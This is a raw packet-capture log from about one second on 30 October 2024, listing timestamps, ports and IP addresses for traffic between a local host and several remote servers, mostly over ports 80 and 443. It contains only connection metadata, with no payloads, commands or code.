Oct 30, 2024 23:11:48.956567049 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:48.997227907 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.997937918 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.997978926 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:48.998433113 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:48.998439074 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.041510105 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.045854092 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.045871973 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.046421051 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.046426058 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.053618908 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.054167032 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.054191113 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.055404902 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.055409908 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.059030056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.059060097 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.059077978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.059111118 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.059133053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.073369026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073396921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073412895 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073465109 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.073478937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073506117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.073518991 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.073626041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073738098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073800087 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.073882103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073929071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.073970079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.073987007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.074002028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.074012995 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.074027061 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.074045897 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.100517035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.100545883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.100562096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.100641012 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.100641012 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.104475975 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.105022907 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.105038881 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.105434895 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.105442047 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.129203081 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.129280090 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.129368067 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.129652023 CET	49983	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.129664898 CET	443	49983	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.139271975 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.139318943 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.139386892 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.141839027 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.141855001 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.177221060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.177236080 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.177328110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.177335978 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.177341938 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.177376032 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.181051970 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.181097984 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.181153059 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.181155920 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.181200027 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.181996107 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.182023048 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.182035923 CET	49982	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.182043076 CET	443	49982	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.188394070 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.188432932 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.188494921 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.188792944 CET	49990	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.188810110 CET	443	49990	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.190002918 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.190031052 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.190074921 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.190088987 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.190120935 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.190794945 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.190810919 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.190821886 CET	49984	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.190826893 CET	443	49984	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.191540003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191566944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191581964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191613913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.191653967 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.191831112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191847086 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191864014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191879988 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.191890955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.191911936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.191915989 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.191955090 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.192600965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.192665100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.194262981 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.194279909 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.194331884 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.194581985 CET	49991	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.194591999 CET	443	49991	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.218647957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.218693972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.218710899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.218712091 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.218744040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.218746901 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.218746901 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.218785048 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.235152006 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.235229969 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.235280991 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.235490084 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.235490084 CET	49985	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.235506058 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.235515118 CET	443	49985	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.238805056 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.238842010 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.238897085 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.239065886 CET	49992	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.239078999 CET	443	49992	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.295433044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.295484066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.295497894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.295500040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.295528889 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.295556068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.309670925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.309722900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.309729099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.309739113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.309762955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.309794903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.309926033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.309973001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.309976101 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.309989929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.310013056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.310033083 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.310385942 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.310425997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.310441017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.310476065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.310504913 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.336802959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.336919069 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.336945057 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.336961031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.336983919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.336998940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.336999893 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.337037086 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.337390900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.337446928 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.337455988 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.337495089 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.413633108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.413672924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.413687944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.413688898 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.413722038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.413732052 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.427898884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.427937984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.427953005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.427989006 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.428023100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.428122044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.428163052 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.428173065 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.428224087 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.428241014 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.428262949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.428280115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.428322077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.428942919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.428998947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.455018044 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.455035925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.455051899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.455066919 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.455102921 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.497575998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.497643948 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.497715950 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.497731924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.497746944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.497756958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.497777939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.497783899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.532860041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.532955885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.533041000 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.533056021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.533072948 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.533082008 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.533103943 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.533117056 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.548280954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548299074 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548315048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548352003 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.548407078 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.548507929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548523903 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548543930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548547029 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.548567057 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.548568010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548580885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.548587084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.548628092 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.563062906 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.563596010 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.563632011 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.564049959 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.564058065 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.573421001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.573457003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.573472023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.573491096 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.573533058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.615788937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.615843058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.615856886 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.615875006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.615897894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.615909100 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.649900913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.649928093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.649943113 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.649961948 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.649981976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.666352987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666385889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666400909 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666415930 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.666452885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.666487932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666529894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.666832924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666887045 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.666887999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666928053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.666929007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.666974068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.667011023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.667058945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.691407919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.691425085 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.691441059 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.691459894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.691478014 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.695271969 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.695333958 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.695385933 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.695566893 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.695586920 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.695597887 CET	49988	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.695605040 CET	443	49988	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.698230982 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.698240042 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.698314905 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.698491096 CET	49993	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.698504925 CET	443	49993	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.714014053 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.714975119 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.716649055 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:49.716655970 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.717792988 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:49.717803955 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.718089104 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:49.718091965 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.718416929 CET	49986	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:49.718425035 CET	443	49986	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.718518019 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:49.718523026 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.718554020 CET	49987	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:49.718564034 CET	443	49987	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:49.734072924 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.734091997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.734107971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.734180927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.734198093 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.768065929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.768122911 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.768140078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.768172979 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.768212080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.768223047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.768413067 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.768446922 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.768492937 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.791522980 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791608095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791611910 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.791624069 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791640043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791663885 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.791672945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.791784048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791877031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791892052 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791915894 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.791919947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.791929007 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.791954994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.794204950 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:49.794219971 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:49.794285059 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:49.794549942 CET	49994	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:49.794562101 CET	443	49994	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:49.810734034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.810748100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.810786963 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.810802937 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.852183104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.852241993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.852313995 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.852329016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.852344036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.852353096 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.852384090 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.876974106 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.877643108 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.877666950 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.878072023 CET	49989	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:49.878077984 CET	443	49989	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:49.886198997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.886213064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.886332989 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:49.886547089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:49.886563063 CET	80	49980	185.215.113.206	192.168.2.5
